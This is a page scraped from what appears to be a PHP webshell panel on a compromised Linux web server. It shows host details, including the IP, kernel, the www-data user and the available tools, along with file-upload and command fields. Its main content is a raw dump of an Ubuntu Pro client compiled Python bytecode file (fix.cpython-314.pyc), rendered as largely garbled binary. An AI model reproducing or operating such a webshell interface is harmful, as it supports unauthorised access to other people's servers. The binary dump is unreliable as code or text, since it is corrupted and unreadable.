403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/uaclient/cli/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/uaclient/cli/__pycache__/fix.cpython-314.pyc
+
���g�r��P�^RIt^RIHtHtHtHtHtHtHt^RI	H
t
HtHtH
t
Ht^RIHtHt^RIHt^RIHtHt^RIHtHt^RIHtHtHt^R	IHtH t H!t!H"t"H#t#H$t$H%t%H&t&H't'H(t(H)t)H*t*H+t+H,t,H-t-H.t.H/t/H0t0H1t1H2t2^R
I3H4t4^RI3H5t6^RI7H8t8^RI7H5t9^R
I:H;t;H<t<^RI=H>t>^RI?H@t@HAtAHBtB^RICHDtD^RIEHFtF^RIGHHtHHItIHJtJ^RIKHLtL^RIMHNtN^RIOHPtP^RIQHRtRHStSHTtT^RIUHVtV^RIWHXtX^RIYHZtZ^RI[H\t\!RR4t]RRlt^RR lt_R!R"lt`R#R$ltaR]R%R&lltbR'R(ltcR)R*ltdR+R,lteR-R.ltfR/R0ltgR1R2lthR3R4ltiR5R6ltjR7R8ltkR^R9R:lltlR;R<ltmR=R>ltnR?R@ltoRARBltpRCRDltqRERFltrRGRHltsRIRJlttRKRLltuRMRNltvRORPltw]>P�!RQRR7RS4ty]B!RQ]P�]P�]y]FP�RT]A!]@!RU]P�RV7]@!RW]P�RXRY7]@!RZ]P�RXRY7.R[7.R\7t�R#)_�N)�Dict�List�
NamedTuple�Optional�Set�Tuple�Union)�apt�
exceptions�messages�system�util)�attach_with_token�enable_entitlement_by_name)�	_initiate)�MagicAttachRevokeOptions�_revoke)�MagicAttachWaitOptions�_wait)�	FixStatus�UnfixedPackage�status_message)�ESM_APPS_POCKET�ESM_INFRA_POCKET�STANDARD_UPDATES_POCKET�FixPlanAptUpgradeStep�FixPlanAttachStep�FixPlanEnableStep�FixPlanNoOpAlreadyFixedStep�FixPlanNoOpLivepatchFixStep�FixPlanNoOpStatus�FixPlanNoOpStep�
FixPlanResult�FixPlanStep�FixPlanUSNResult�FixPlanWarning�"FixPlanWarningFailUpdatingESMCache�&FixPlanWarningPackageCannotBeInstalled�#FixPlanWarningSecurityIssueNotFixed�NoOpAlreadyFixedData�NoOpLivepatchFixData�USNAdditionalData)�CVEFixPlanOptions)�_plan)�USNFixPlanOptions)�ContractExpiryStatus�_is_attached)�cli_util)�ProArgument�ProArgumentGroup�
ProCommand)�
action_detach)�HelpCategory)�CLOUD_TYPE_TO_TITLE�PRO_CLOUD_URLS�get_cloud_type��UAConfig)�PRINT_WRAP_WIDTH)�entitlement_factory)�ApplicabilityStatus�CanEnableFailure�UserFacingStatus)�notices)�Notice)�
PRO_HOME_PAGE)�colorize_commandsc�`a�]tRt^QtoV3RlRltRtR
V3RlRlltV3RlRltR	tVt	R#)�
FixContextc�B<�V^8�dQhRS[RS[RS[S[,RS[/#)��title�dry_run�
affected_pkgs�cfg)�str�boolrr<)�format�
__classdict__s"��2/usr/lib/python3/dist-packages/uaclient/cli/fix.py�__annotate__�FixContext.__annotate__Rs7���(�(��(��(��C�y�	(�
�(�c���^Vn.Vn\4Vn\P
VnWnW0nW n	W@n
RVnRVnRVn
R#)rTFN)�	pkg_index�unfixed_pkgs�set�installed_pkgsr�SYSTEM_NON_VULNERABLE�
fix_statusrJrLrKrM�should_print_pkg_header� warn_package_cannot_be_installed�fixed_by_livepatch)�selfrJrKrLrMs&&&&&rR�__init__�FixContext.__init__RsW��������!�e���#�9�9����
�*������'+��$�05��-�"'��rUc	�l�VP'd�\PP\	VP44P\	VP4RP
\VP44R7p\\P!V\RRR74R#R#)�, )�count�pkgs�    F)�width�subsequent_indent�replace_whitespaceN)rLr�SECURITY_AFFECTED_PKGS�	pluralize�lenrP�join�sorted�print�textwrap�fillr=)r`�msgs& rR�print_fix_header�FixContext.print_fix_headeres��������1�1�;�;��D�&�&�'���f��$�,�,�-��Y�Y�v�d�&8�&8�9�:���
�
��
�
��*�&,�',�	�
�rUNc�L<�V^8�dQhRS[S[,RS[RS[S[,/#)rI�source_pkgs�status�pocket)rrNr)rPrQs"�rRrSrTvs1������#�Y������
�	rUc��VP'dL\\TTVP\	VP
4V'd\
V4MRR74R#R#)N)�pkg_listrxrW�num_pkgs�
pocket_source)r]rp�_format_packages_messagerWrmrL�get_pocket_description)r`rwrxrys&&&&rR�print_pkg_header�FixContext.print_pkg_headervsM���'�'�'��(�(�!�"�n�n� ��!3�!3�4�:@�.�v�6�d�
�

�(rUc�6<�V^8�dQhRS[S[,RS[/#)rIrf�unfixed_reason�rrN)rPrQs"�rRrSrT�s������c���C�rUc�b�VF(pVPP\W2R74K*	R#))�pkgr�N)rX�appendr)r`rfr�r�s&&& rR�add_unfixed_packages�FixContext.add_unfixed_packages�s(���C����$�$��3�F�
�rU)rLrMrKr\r_rZrWr]rJrXr^�N)
�__name__�
__module__�__qualname__�__firstlineno__rartr�r��__static_attributes__�__classdictcell__)rQs@rRrGrGQs(����(�(�&�"��&�rUrGc�$�V^8�dQhR\/#)rI�cve)r#)rPs"rRrSrS�s����-�rUc��RPVPP4VPR7RPVPP44.p\	RPV44R#)�{issue}: {description}��issue�descriptionz! - https://ubuntu.com/security/{}�
N)rPrJ�upperr�rprn)r��liness& rR�print_cve_headerr��s^�� �'�'��)�)�/�/�#����	(�	
�	,�2�2�3�9�9�?�?�3D�E�	
�E�
�$�)�)�E�
�rUc�$�V^8�dQhR\/#)rI�fix_plan)r%)rPs"rRrSrS�s����/�rUc	���VPpRPVPP4VPR7.pVP
p\
V\4'd�VP'd|VP\P4VPFKpVPRP\PPPVR744KM	M\VP'dKVP\P4VPFpVPRV,4K	\!RP#V44R#)r�r�z - {}�r�z - r�N)�target_usn_planrPrJr�r��additional_data�
isinstancer,�associated_cvesr�r�SECURITY_FOUND_CVES�urls�SECURITY_CVE_PAGE�associated_launchpad_bugs�SECURITY_FOUND_LAUNCHPAD_BUGSrprn)r��
target_usnr�r�r��lp_bugs&     rR�print_usn_headerr��s���)�)�J� �'�'��"�"�(�(�*�
�8N�8N�	(�	
�
�E�!�0�0�O��/�#4�5�5��*�*�*��L�L��5�5�6�&�6�6������N�N� �
�
�7�7�>�>�3�>�G���7��
6�
6�
6��L�L��?�?�@�)�C�C�����U�V�^�,�D�
�$�)�)�E�
�rUc�<�V^8�dQhR\R\R\/#)rI�security_issuerKrM�rNrOr<)rPs"rRrSrS�s!����C��$��X�rUc��\\V.R7VR7pVPP^,PpV'd]VP
'dK\P!\P!VP;'gRVP
4R7h\VPP^,4\4\VPP^,W4wrVV#))�cves��optionsrM�unexpected-error��	named_msg)�cve_planr-�	cves_datar��errorrsr�AnonymousUbuntuProErrorr�NamedMessage�coder�rp�execute_fix_plan)r�rKrMr�r�rx�_s&&&    rR�fix_cver��s����!��'7�8�c��H�
���#�#�A�&�,�,�E�������0�0��+�+��
�
�0�0�0�%�)�)��
�	
�
�X�'�'�,�,�Q�/�0�	�G� ��!3�!3�!8�!8��!;�W�J�I�F��MrUc�H�V^8�dQhR\R\R\R\/#)rIr�rK�
no_relatedrMr�)rPs"rRrSrS�s2��d�d��d�"&�d�48�d�?G�drUc	�`�\\V.R7VR7pVPP^,PP
pV'd]VP'dK\P!\P!VP;'gRVP4R7h\VPP^,4\R\PPVR7,4\!VPP^,PVV4wrgV\"P$\"P&39dV#VPP^,P(pV'd	V'dV#\R\P*PRP-RV44R7,4\R\P.,4/p	VFJp
\R	PV
P044\!V
VV4W�P0&\4KL	\\P24\5VV\P6R
7RpVF�p
W�P0,wr�\5VV
P0\P8R
7V\"P:8Xd3\R\P<PR
R7,4RpV\"P>8XgK�V
FFpVP@'gK\RPVPBVP@44KH	RpK�	V'd1\R\PDPVR7,4V#))�usnsr�r�r�r�)�issue_idz
- c3�8"�TFqPx�K	R#5ir�)rJ)�.0�usns& rR�	<genexpr>�fix_usn.<locals>.<genexpr>�s���$L�:K�3�Y�Y�:K�s�)�related_usnsz- {})�contextF�- �
fix operation��	operationTz
  - {}: {})#�usn_planr/�	usns_datar�r�r�rsrr�rr�r�r�rp�SECURITY_FIXING_REQUESTED_USNrPr�rr[�SYSTEM_NOT_AFFECTED�related_usns_plan�SECURITY_RELATED_USNSrn�SECURITY_FIXING_RELATED_USNSrJ�SECURITY_USN_SUMMARY�_handle_fix_status_message�FIX_ISSUE_CONTEXT_REQUESTED�FIX_ISSUE_CONTEXT_RELATED�SYSTEM_VULNERABLE_UNTIL_REBOOT�ENABLE_REBOOT_REQUIRED_TMPL�SYSTEM_STILL_VULNERABLEr�r��SECURITY_RELATED_USN_ERROR)r�rKr�rMr�r��target_usn_statusr�r��related_usn_status�related_usn_plan�failure_on_related_usnrxrX�unfixed_pkgs&&&&           rR�fix_usnr��s!���!��'7�8�c��H�
���#�#�A�&�6�6�<�<�E�������0�0��+�+��
�
�0�0�0�%�)�)��
�	
�
�X�'�'�,�,�Q�/�0�	��
�
0�
0�
7�
7�#�8�
�	
��,�������"�2�2��������'�'��%�%�!��!� � �*�*�/�/��2�D�D���
� � �	��
�
(�
(�
/�
/����$L�:K�$L�L�0�
�	
��
�$��6�6�
6�7�
��.��
�f�m�m�,�2�2�3�4�5E����6
��1�1�2�
	��.�
�(�
'�
'�(�����4�4��#��-��1�2H�2H�I���"���"�"��6�6�	
��Y�=�=�=����6�6�=�=�-�>���
�&*�"��Y�6�6�6�+���-�-�-��$�+�+�'�O�O�[�-G�-G��� ,�&*�"�1.�4�
���1�1�8�8�'�9��
�	
��rUc��V^8�dQhR\\,R\R\R\R\\,R\/#)rIr{rxrWr|r}�return)rrN�intr)rPs"rRrSrS/sT��N�N��3�i�N��N��N��	N�
�C�=�N�	�
NrUc
��V'gR#.p.pVF=pV^,
pVPRPW#44VPV4K?	\P!RPRRP	V4,R,RP	\V444\RR7pR	PV\W44#)
z;Format the packages and status to an user friendly message.�z{}/{}z{} {}:�(rd�)rg�rhriz{}
{})r�rPrqrrrnror=r)	r{rxrWr|r}�	msg_index�src_pkgs�src_pkg�
msg_headers	&&&&&    rRr~r~/s������I��H����Q��	�������	�<�=����� ��
�������$�)�)�I�&�&��,�d�i�i��x�8H�.I�	
�� ��J��?�?�:�~�f�'L�M�MrUc�<�V^8�dQhR\R\R\/#)rIrM�tokenr��r<rNrO)rPs"rRrSrSKs!���������rUc���\\RRV..44\WRR7R# \Pd!p\TP
4Rp?R#Rp?ii;i)zlAttach to an Ubuntu Pro subscription with a given token.

:return: True if attach performed without errors.
�pro�attachT)r��allow_enableNF)rprErr�UbuntuProErrorrs)rMr��errs&& rR�_run_ua_attachr�KsR��

�
�e�X�u�5�6�
7�8���#��>����$�$��
�c�g�g�����s�
)�A�A�Ac��V^8�dQhRR/#)rIr�N�)rPs"rRrSrSYs��	
�	
�D�	
rUc��\4wrV\P!49dU\\P
P
\P!V4\P!V4R74R#R#)z:Alert the user when running Pro on cloud with PRO support.)rJ�cloud_specific_urlN)	r:r9�keysrpr�SECURITY_USE_PRO_TMPLrPr8�get)�
cloud_typer�s  rR�*_inform_ubuntu_pro_existence_if_applicablerYs_��"�$�M�J��^�(�(�*�*�
��*�*�1�1�)�-�-�j�9�#1�#5�#5�j�#A�
2�
�	
�+rUc�$�V^8�dQhR\/#)rIrMr;)rPs"rRrSrSes��9�9�x�9rUc�$�\\P4\VR7p\R\PPVPR7,4\VPR7p\W R7p\R\P,4\!YP"4# \PdCp\\P4\TPR7p\YPR7ThRp?ii;i))rMr�)�	user_code)�magic_tokenr�N)rpr�CLI_MAGIC_ATTACH_INITr�CLI_MAGIC_ATTACH_SIGN_INrPrrr�rr�MagicAttachTokenError�CLI_MAGIC_ATTACH_FAILEDrr�CLI_MAGIC_ATTACH_PROCESSINGr��contract_token)rM�
initiate_resp�wait_options�	wait_resp�e�revoke_optionss&     rR�_perform_magic_attachres���	�(�
(�
(�)��#�&�M�	��
�
+�
+�
2�
2�#�-�-�3�
�	
��*�m�6I�6I�J�L�	��,�8�	�
�$��5�5�
5�6��#�7�7�8�8���+�+��
�h�.�.�/�1�%�+�+�
��	��0�����s�7B8�8D�
=D
�
Dc�0�V^8�dQhR\R\/#�rIrMr��r<rO)rPs"rRrSrS�s����H���rUc�>�\4\\P4\P
!\P.ROR7pVR8XdR#VR8Xd\V4#VR8Xd0\\P4\R4p\W4#R#)	zRPrompt for attach to a subscription or token.

:return: True if attach performed.
�s�a�c��
valid_choicesF�> T)rrr)rrpr�*SECURITY_UPDATE_NOT_INSTALLED_SUBSCRIPTIONr�prompt_choices�SECURITY_FIX_ATTACH_PROMPTr�PROMPT_ENTER_TOKEN�inputr�)rM�choicer�s&  rR�_prompt_for_attachr#�s~��
/�0�	�(�
=�
=�>�
�
 �
 ��+�+�%��F���}��
��}�$�S�)�)�
��}�
�h�)�)�*��d����c�)�)�rUc�F�V^8�dQhR\\,R\/#)rIrXr�r�)rPs"rRrSrS�s����t�C�y��S�rUc
���\V4p\P!\PPV4P
VRP\V44R7\RR7#)z�Format the list of unfixed packages into an message.

:returns: A string containing the message output for the unfixed
          packages.
rd)r|rfrgr�)
rmrqrrr�SECURITY_PKG_STILL_AFFECTEDrlrPrnror=)rX�num_pkgs_unfixeds& rR�_format_unfixed_packages_msgr(�sb���<�(���=�=��,�,�6�6��	
�
�&�%����6�,�/�0��
�� �	�	rUc�<�V^8�dQhR\R\R\/#)rIrMrKr�r)rPs"rRrSrS�s!������4��D�rUc���\V4PpV'dEV\PP8Xd&V'd\\P4R#R#R#)zmCheck if the Ubuntu Pro subscription is expired.

:returns: True if subscription is expired and not renewed.
FT)r1�contract_statusr0�EXPIRED�valuerpr�(SECURITY_DRY_RUN_UA_EXPIRED_SUBSCRIPTION)rMrK�contract_expiry_statuss&& rR�_check_subscription_is_expiredr0�sG��
*�#�.�>�>���"�&:�&B�&B�&H�&H�H���(�C�C�D���rUc�0�V^8�dQhR\R\/#rr)rPs"rRrSrS�s����x��D�rUc��^RIp\4\\P4\
P!\PP\R7RR.R7pVR8Xdd\\P4\R4p\\RR..44\VPR	R
R7V4\W4#R#)
z\Prompt for attach a new subscription token to the user.

:return: True if attach performed.
N)�url�rrrrr��detachT�cli)�
assume_yesrPF)�argparserrpr�%SECURITY_UPDATE_NOT_INSTALLED_EXPIREDrr�SECURITY_FIX_RENEW_PROMPTrPrD�PROMPT_EXPIRED_ENTER_TOKENr!rEr6�	Namespacer�)rMr8r"r�s&   rR�_prompt_for_new_tokenr=�s���
�.�0�	�(�
8�
8�9�
�
 �
 ��*�*�1�1�m�1�D��C�j��F���}�
�h�1�1�2��d���
��%��!2� 3�4�5��h�(�(�D��(�G��M��c�)�)�rUc�<�V^8�dQhR\R\R\/#)rIrM�servicer�r�)rPs"rRrSrS�s!����H��s��t�rUc���\\PPVR74\P
!\PPVR7RR.R7pVR8Xdx\\RRV..44\WR7wr4V'gHVeD\V\4'd.VPe \VPP4V#R#)	zEPrompt for enable a pro service.

:return: True if enable performed.
�r?rrrr��enable�rM�nameF)
rpr�SECURITY_SERVICE_DISABLEDrPrr�SECURITY_FIX_ENABLE_PROMPTrErr�r@�messagers)rMr?r"�ret�reasons&&   rR�_prompt_for_enablerJ�s���

�(�
,�
,�
3�
3�G�
3�
D�E�
�
 �
 ��+�+�2�2�7�2�C��C�j��F�
��}�
��%��7�!;� <�=�>�0�S�G�����"��6�#3�4�4��~�~�)��f�n�n�(�(�)��
�rUc�H�V^8�dQhR\R\R\R\/#)rIr?rMrKr�)rNr<rO)rPs"rRrSrS�s,��(�(�
�(��(�*.�(�	�(rUc�d�\WR7pV'EdVP4wrEV\P8XdR#VP	4wreV\
P8Xd�V'd=\R\PPVPR7,4R#\WP4'dR#\\PPVPR74R#\\PPVPR74R#)zI
Verify if the Ubuntu Pro subscription has the required service enabled.
rCTr�rAF)r>�user_facing_statusrA�ACTIVE�applicability_statusr?�
APPLICABLErpr�'SECURITY_DRY_RUN_UA_SERVICE_NOT_ENABLEDrPrDrJ�SECURITY_UA_SERVICE_NOT_ENABLED� SECURITY_UA_SERVICE_NOT_ENTITLED)r?rMrK�ent�
ent_statusr�rOs&&&    rR�)_handle_subscription_for_required_servicerV�s����#�
4�C�
�s��.�.�0�
�
��)�0�0�0��"%�":�":�"<����#6�#A�#A�A�����F�F�M�M� #���N�����!�#�x�x�0�0����<�<�C�C� #���D����

��9�9�@�@��H�H�A��
�rUc�<�V^8�dQhR\R\R\/#)rIrxr�r�)rrN)rPs"rRrSrSs$��"3�"3��"3�!$�"3�/2�"3rUc���V\P8XdkV'd"\PP	WR7pM \P
P	VR7p\
\P!V44R#V\P8XdkV'd"\PP	WR7pM \PP	VR7p\
\P!V44R#V\P8XdkV'd"\PP	WR7pM \PP	VR7p\
\P!V44R#V'd"\PP	WR7pM \PP	VR7p\
\P!V44R#))r�r�)r�N)rr[r�%SECURITY_ISSUE_RESOLVED_ISSUE_CONTEXTrP�SECURITY_ISSUE_RESOLVEDrpr�handle_unicode_charactersr��'SECURITY_ISSUE_UNAFFECTED_ISSUE_CONTEXT�SECURITY_ISSUE_UNAFFECTEDr��)SECURITY_ISSUE_NOT_RESOLVED_ISSUE_CONTEXT�SECURITY_ISSUE_NOT_RESOLVED)rxr�r�rss&&& rRr�r�sn����0�0�0���@�@�G�G��H��C��2�2�9�9��9�I�C�
�d�,�,�S�1�2�	�9�0�0�	0���B�B�I�I��J��C��4�4�;�;�(�;�K�C�
�d�,�,�S�1�2�	�9�;�;�	;���D�D�K�K��L��C��6�6�=�=�H�=�M�C�
�d�,�,�S�1�2���D�D�K�K��L��C��6�6�=�=�H�=�M�C�
�d�,�,�S�1�2rUc�$�V^8�dQhR\/#)rIry)rN)rPs"rRrSrS?s����3�rUc��V\8Xd\P#V\8Xd\P#V\
8Xd\P#V#r�)rr�'SECURITY_UBUNTU_STANDARD_UPDATES_POCKETr�SECURITY_UA_INFRA_POCKETr�SECURITY_UA_APPS_POCKET)rys&rRrr?sE��
�(�(��?�?�?�	�#�	#��0�0�0�	�?�	"��/�/�/��
rUc�0�V^8�dQhR\R\/#�rI�fix_context�step)rGr()rPs"rRrSrSJs��?�?��?�
0�?rUc���VPVPPRVPPR7RVn\
PPVPPVPPR7p\RV,4VPVPP.VR7RVn
\PVnR#)�released�rwrxryF)�package�versionr��rfr�TN)r��data�related_source_packagesryr]r�FIX_CANNOT_INSTALL_PACKAGErP�binary_package�binary_package_versionrpr��source_packager^rr�r\)rgrh�warn_msgs&& rR�)_execute_package_cannot_be_installed_steprvJs���� � ��I�I�5�5���y�y���!��
+0�K�'��2�2�9�9��	�	�(�(��	�	�0�0�:��H�
�$��/���$�$��i�i�&�&�
'��%��48�K�0�&�>�>�K�rUc�0�V^8�dQhR\R\/#rf)rGr))rPs"rRrSrScs��
?�
?��
?�#F�
?rUc��VPVPPVPPR7V;P\VPP4,
unVP
VPP\VPP4R7\PVn
R#))rwrxrnN)r�ro�source_packagesrxrWrmr�rrr�r\�rgrhs&&rR�&_execute_security_issue_not_fixed_stepr{cs���� � ��I�I�-�-��y�y���!�����S����!:�!:�;�;���$�$�
�Y�Y�
&�
&�%�d�i�i�&6�&6�7�%��'�>�>�K�rUc�0�V^8�dQhR\R\/#rf)rGr')rPs"rRrSrSss ��O�O��O�#E�OrUc��\P!4'd\\P4R#\R\P
,R,4R#)r�N)r�we_are_currently_rootrpr�CLI_FIX_FAIL_UPDATING_ESM_CACHE�(CLI_FIX_FAIL_UPDATING_ESM_CACHE_NON_ROOTrzs&&rR�%_execute_fail_updating_esm_cache_stepr�ss9���!�!�#�#�
�h�6�6�7�
�d�X�F�F�F��M�NrUc�0�V^8�dQhR\R\/#rf)rGr)rPs"rRrSrS|s ��;A�;A��;A�
�;ArUc��VPVPPRVPPR7V;P\VPP4,
unVPP'gCVP'g\\P4\PVn
R#\P!4'gxVP 'gf\\P"4\P$Vn
VP'VPP\P"R7R#\\).R	O.R
O,\+VPP4,.44VP 'd\PVn
R#\,P.!4\,P0!.ROVPP,RR/R7\PTn
RTnTP:P=TPP4R# \2dip\5TR\7T44p\T4\P$Tn
TP'TPPTR7Rp?R#Rp?ii;i)rjrkNrn�DEBIAN_FRONTEND�noninteractive)�cmd�override_env_varsrsT)r
�updatez&&)r
�install�--only-upgrade�-y)zapt-getr�r�r�)r�roryryrWrm�binary_packagesr^rpr�SECURITY_UPDATE_INSTALLEDrr[r\rr~rK�SECURITY_APT_NON_ROOTr�r�rEror
�run_apt_update_command�run_apt_command�	Exception�getattrrNr]rZr�)rgrhrrss&&  rR�_execute_apt_upgrade_stepr�|s��� � ��I�I�-�-���y�y���!��
���S����!:�!:�;�;���9�9�$�$�$��;�;�;��(�4�4�5�!*�!@�!@�����%�%�'�'��0C�0C�0C�
�h�,�,�-�!*�!B�!B����(�(����*�*�#�9�9�	)�	
�	�	��'�<�=�����2�2�3�4�
�	
������!*�!@�!@������"�"�$����>��i�i�'�'�(�0�2B�C�	
�'�<�<�K��*.�K�'����%�%�d�i�i�&?�&?�@�����a���A��'��
�c�
�!*�!B�!B����(�(����*�*��	)�	
�	���s�AI*�*K�5AK�Kc�0�V^8�dQhR\R\/#rf)rGr)rPs"rRrSrS�s��,=�,=��,=�
�,=rUc�b�VPPR8Xd\M\pVP	VPP
RVR7RVn\VP4P'g�VP'd#\R\P,4EMj\VP4'gq\P VnVP%VPP
\P&P)VPPR7R7R#M�\+VPVPR7'd�VP'd\\P,4M�\/VP4'gq\P VnVP%VPP
\P0P)VPPR7R7R#\P2VnR#)	�	esm-infrarjrkFr�rArnN)rMrK)ro�required_servicerrr�ryr]r1rM�is_attachedrKrpr� SECURITY_DRY_RUN_UA_NOT_ATTACHEDr#rr�r\r��SECURITY_UA_SERVICE_REQUIREDrPr0r.r=�$SECURITY_UA_SERVICE_WITH_EXPIRED_SUBr[�rgrhrys&& rR�_execute_attach_stepr��s����9�9�%�%��4�	�
��
� � ��I�I�-�-���!��+0�K�'�����(�4�4�4������$��B�B�B�C�%�k�o�o�6�6�)2�)J�)J��&��0�0����2�2�#+�#H�#H�#O�#O� $�	�	� :� :�$P�$�1���7�
(��O�O�[�%8�%8�
�
������(�C�C�D�&�{���7�7�%.�%F�%F�K�"��,�,��Y�Y�.�.�'�L�L�S�S� �I�I�6�6� T� �
-�
�
�&�<�<�K�rUc�0�V^8�dQhR\R\/#rf)rGr)rPs"rRrSrS�s��+�+��+�
�+rUc�$�VPPR8Xd\M\pVP	VPP
RVR7RVn\VPPVPVP4'gqVPVPP
\PPVPPR7R7\PVnR#\P"#)r�rjrkFrArnN)ror?rrr�ryr]rVrMrKr�r�%SECURITY_UA_SERVICE_NOT_ENABLED_SHORTrPrr�r\r[r�s&& rR�_execute_enable_stepr��s����9�9����+�	�
��
� � ��I�I�-�-���!��
+0�K�'�4��	�	�����������
	�(�(����*�*�#�I�I�P�P��	�	�)�)�Q��	)�	
�"+�!B�!B�����*�*�*rUc�0�V^8�dQhR\R\/#rf)rGr")rPs"rRrSrS
s��?�?��?�#2�?rUc���VPP\PP8Xd1\\P4\PVn
R#R#r�)rorxr!�NOT_AFFECTEDr-rpr�SECURITY_NO_AFFECTED_PKGSrr�r\rzs&&rR�_execute_noop_not_affected_stepr�
sE���y�y���,�9�9�?�?�?�
�h�0�0�1�!*�!>�!>���@rUc�0�V^8�dQhR\R\/#rf)rGr )rPs"rRrSrSs��
.�
.��
.�#>�
.rUc���\VP\4'dR\\P
P
VPVPPR74RVn	R#R#))r�rmTN)
r�ror+rpr�CVE_FIXED_BY_LIVEPATCHrPrJ�
patch_versionr_rzs&&rR�%_execute_noop_fixed_by_livepatch_stepr�s\���$�)�)�1�2�2�
��+�+�2�2�!�'�'��	�	�/�/�
3�
�	
�*.��&�3rUc�0�V^8�dQhR\R\/#rf)rGr)rPs"rRrSrSs ��
@�
@��
@�#>�
@rUc�`�\VP\4'd�VPVPPRVPP
R7\
\P4V;P\VPP4,
un	R#R#)rjrkN)r�ror*r�ryryrprr�rWrmrzs&&rR� _execute_noop_already_fixed_stepr�s{���$�)�)�1�2�2��$�$��	�	�1�1���9�9�#�#�	%�	
�
	�h�0�0�1�����T�Y�Y�%>�%>�!?�?��3rUc��V^8�dQhR\R\R\R\\\
\,3,/#)rIr�rKrMr�)r#rOr<rrrr)rPs"rRrSrS,sA��O>�O>��O>�&*�O>�19�O>�
�9�d�>�*�*�+�O>rUc���.VPOVPOp\VPTVP;'g.VR7pVP4\
VRR7EF�p\V\4'd\WE4\V\4'd\WE4\V\4'd\WE4\V\4'd-\WE4VP \"P$8wdM�\V\&4'd-\)WE4VP \"P$8wdM�\V\*4'd-\-WE4VP \"P$8wdMk\V\.4'd\1WE4\V\24'd\5WE4\V\64'gEK�\9WE4EK�	\;4VP<'d`\;\?\A\CVP<Uu.uFpVPDNK	up4444\"PFVnVP \"P$8Xd�\HPJ!VPLR7'dg\"PNVn\PPRPURR7p\;V4\VPX!\ZP\RR7VP^'g!\aVP VP4VP VP<3#uupi))rJrKrLrMc��VP#r�)�order)�xs&rR�<lambda>�"execute_fix_plan.<locals>.<lambda><s����rU)�key)rZr�r�)1�plan�warningsrGrJ�affected_packagesrtror�r(rvr)r{r'r�rr�r\rr[rr�rr�r"r�r r�rr�rprXr(�listrYr�r�r
�
should_rebootrZr�rr�rPrB�addrC�ENABLE_REBOOT_REQUIREDr_r�)r�rKrM�	full_planrgrhr��
reboot_msgs&&&     rRr�r�,s����	����	�	�	��I�
��n�n���0�0�6�6�B��	�K�� � �"��y�&7�8�8���d�B�C�C�5�k�H��d�?�@�@�2�;�E��d�>�?�?�1�+�D��d�1�2�2�%�k�8��%�%��)H�)H�H���d�-�.�.� ��3��%�%��)H�)H�H���d�-�.�.� ��3��%�%��)H�)H�H���d�O�,�,�+�K�>��d�7�8�8�1�+�D��d�7�8�8�,�[�?�99�<
�G�����
�(���0;�/G�/G��/G��(�O�O�/G����	
�	
�"+�!B�!B���	���)�"A�"A�A�� � ��0J�0J�K�K�!*�!I�!I����9�9�@�@�%�A�
�
�	�j������)�)�%�	
�
�)�)�)�"�;�#9�#9�8�>�>�J��"�"�K�$<�$<�=�=��7s�<M/�fix)r�c�`�VP'd\\P4RVPP49d.\
VPVPV4pVP#\VPVPVPV4pVP#r�)
rKrpr�SECURITY_DRY_RUN_WARNINGr��lowerr�r�r��	exit_code)�argsrM�kwargsrxs&$, rR�
action_fixr�~s����|�|�|�
�h�/�/�0���#�#�)�)�+�+���,�,�d�l�l�C�@������	�������t����
�����rUTr�)�helpz	--dry-run�
store_true)r��actionz--no-related)�	arguments)r�r�r��
help_category�preserve_description�argument_groupsr�)r�)�rq�typingrrrrrrr	�uaclientr
rrr
r�uaclient.actionsrr�+uaclient.api.u.pro.attach.magic.initiate.v1r�)uaclient.api.u.pro.attach.magic.revoke.v1rr�'uaclient.api.u.pro.attach.magic.wait.v1rr�'uaclient.api.u.pro.security.fix._commonrrr�/uaclient.api.u.pro.security.fix._common.plan.v1rrrrrrrr r!r"r#r$r%r&r'r(r)r*r+r,�+uaclient.api.u.pro.security.fix.cve.plan.v1r-r.r��+uaclient.api.u.pro.security.fix.usn.plan.v1r/r��(uaclient.api.u.pro.status.is_attached.v1r0r1�uaclient.clir2�uaclient.cli.commandsr3r4r5�uaclient.cli.detachr6�uaclient.cli.parserr7�uaclient.clouds.identityr8r9r:�uaclient.configr<�uaclient.defaultsr=�uaclient.entitlementsr>�(uaclient.entitlements.entitlement_statusr?r@rA�uaclient.filesrB�uaclient.files.noticesrC�uaclient.messages.urlsrD�uaclient.statusrErGr�r�r�r�r~r�rrr#r(r0r=rJrVr�rrvr{r�r�r�r�r�r�r�r�� assert_vulnerability_issue_validr��CLI_ROOT_FIX�CLI_FIX_DESC�SECURITY�
CLI_FIX_ISSUE�CLI_FIX_DRY_RUN�CLI_FIX_NO_RELATED�fix_commandr�rUrR�<module>r�s�������=�<�J�A�����
������,J�I�I�I��"�K�K�-�,���
%�.�5���
#�)�0�-�<�<�~��4�&d�NN�8�	
�9�6�.�&�$�.�8(�V"3�J�?�2
?� O�;A�|,=�^+�B?�
.�
@�O>�d
�*�*�u�5��6���	�	�	�	��%�%���'�'����,�8�3I�3I�J���!�1�1�'��
�"�!�4�4�'���	
���rU

Youez - 2016 - github.com/yon3zu
LinuXploit